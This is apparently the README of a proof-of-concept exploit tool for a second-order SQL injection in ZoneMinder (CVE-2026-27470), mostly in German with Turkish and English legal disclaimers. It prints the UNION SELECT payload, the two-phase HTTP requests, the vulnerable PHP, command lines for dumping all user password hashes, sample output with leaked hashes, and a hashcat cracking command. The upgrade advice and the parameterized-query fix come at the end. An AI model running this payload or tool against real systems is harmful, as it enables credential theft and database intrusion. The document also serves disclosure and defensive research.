
Proof-of-Concept-Exploit für eine SQL-Injection zweiter Ordnung in ZoneMinder (CVE-2026-27470). Demonstriert authentifizierte Datenextraktion, einschließlich Benutzeranmeldedaten, mit Optionen für benutzerdefinierte Abfragen und Hash-Dumping.
⚠️ YASAL UYARI / LEGAL DISCLAIMER
Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.
This tool is provided strictly for educational and authorized security research purposes. Using it against systems you do not own or do not have explicit written permission to test is illegal. Unauthorized access may violate laws such as the CFAA (US), Computer Misuse Act (UK), and equivalent legislation worldwide. The author assumes no liability for any misuse of this tool.
Proof-of-Concept-Exploit für eine SQL-Injection zweiter Ordnung in ZoneMinder. Ein authentifizierter Benutzer mit Bearbeitungs- und Anzeigeberechtigung für Events kann beliebige Daten aus der Datenbank extrahieren — einschließlich aller Benutzeranmeldeinformationen.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-27470 |
| Schweregrad | HOCH — CVSS 8.8 |
| Vektor | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Betroffen | ZoneMinder ≤ 1.36.37 und 1.37.61 – 1.38.0 |
| Behoben in | 1.36.38 / 1.38.1 |
| Datei | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: Fehlende Neutralisierung von SQL-Befehlen |
| Authentifizierung erforderlich | Ja — Events-Bearbeitungs- und Anzeigeberechtigung |
Dies ist eine klassische SQL-Injection zweiter Ordnung (gespeichert). Der Angriff erfolgt in zwei getrennten Phasen, weshalb herkömmliche Scanner ihn oft übersehen.
Phase 1 — Sicherer Schreibvorgang
Der Angreifer benennt ein Ereignis mit einer bösartigen Nutzlast um. ZoneMinder verwendet hier korrekt eine parametrisierte Abfrage, sodass die Nutzlast sicher in der Datenbank gespeichert wird, ohne Fehler auszulösen:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — sicher ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
An diesem Punkt sieht alles sauber aus. Die Nutzlast liegt ruhig in der Spalte Events.Name.
Phase 2 — Verwundbarer Lesevorgang
Der Angreifer löst getNearEvents() aus, indem er die nahen Ereignisse für denselben Ereignisdatensatz anfordert. Die Funktion liest den gespeicherten Name-Wert aus der Datenbank zurück und verkettet ihn direkt in eine neue SQL-Abfrage, ohne jegliche Maskierung:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~Zeile 460 — VERWUNDBAR ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← Injektionspunkt
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
Die gespeicherte Nutzlast bricht aus dem String-Kontext aus und das injizierte UNION SELECT wird ausgeführt, wodurch Daten im Feld NextEventId der JSON-Antwort durchsickern:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
Der Entwickler machte einen sehr häufigen Fehler: Er bereinigte die Benutzereingabe beim Schreiben korrekt, was ein falsches Sicherheitsgefühl erzeugte. Die Annahme, dass „Daten aus unserer eigenen Datenbank sicher sind", ermöglichte es, dass die Schwachstelle jahrelang im Lesepfad existierte. WAFs und die meisten automatisierten Scanner werden dies nicht erkennen, da die Schreibanfrage völlig sauber aussieht.
pip install requests
-t, --target Ziel-URL (z. B. http://10.10.10.10:8080)
-u, --username ZoneMinder-Benutzername
-p, --password ZoneMinder-Passwort
--event-id Ereignis-ID als Injektionsträger
--query Benutzerdefinierte SQL-Abfrage
--dump-users Alle Benutzernamen und Passwort-Hashes ausgeben
--field Injektionsfeld: Name (Standard) oder Cause
--no-restore Ereignisnamen nach der Ausnutzung nicht wiederherstellen
# Datenbankversion prüfen (einfachster Test)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# Alle Benutzer und Passwort-Hashes ausgeben
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# Über das Cause-Feld statt Name injizieren
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# Benutzerdefinierte Abfrage
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Attacker ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │
# Geerntete Hashes mit hashcat knacken
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Events.Name ist in der Datenbank varchar(64) — Injektionsnutzlasten unter 63 Zeichen haltennearevents.NextEventId in der JSON-AntwortAktualisieren Sie ZoneMinder auf 1.36.38 oder 1.38.1.
Die Lösung besteht darin, einen parametrisierten Abfrageplatzhalter für den gespeicherten Wert zu verwenden, anstatt einer String-Verkettung:
// Vorher (verwundbar)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// Nachher (behoben)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken.
Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.